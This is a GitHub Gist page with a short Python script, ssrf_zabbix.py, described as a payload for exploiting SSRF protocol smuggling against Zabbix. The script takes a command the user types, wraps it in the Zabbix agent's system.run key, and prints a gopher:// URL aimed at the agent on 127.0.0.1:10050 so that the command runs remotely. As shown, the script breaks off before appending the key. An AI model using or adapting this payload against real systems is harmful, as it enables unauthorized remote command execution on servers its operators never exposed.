Skip to content

Instantly share code, notes, and snippets.

View arthurcortesr's full-sized avatar
🎯
Focusing

Arthur Côrtes arthurcortesr

🎯
Focusing
View GitHub Profile
@GugSaas
GugSaas / ssrf_zabbix.py
Created January 22, 2023 19:55
Payload to exploit SSRF Protocol Smuggling to interact with Zabbix intead of Gopherus (out of date payload)
import struct
import urllib.parse
header = "ZBXD\x01"
key0 = input('Command: ')
key = f'system.run[({key0})]'
print("gopher://127.0.0.1:10050/_",end="")
print(urllib.parse.quote_plus(header).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"),end="")
print(urllib.parse.quote_plus(struct.pack("<Q", len(key)+2).decode()).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"),end="")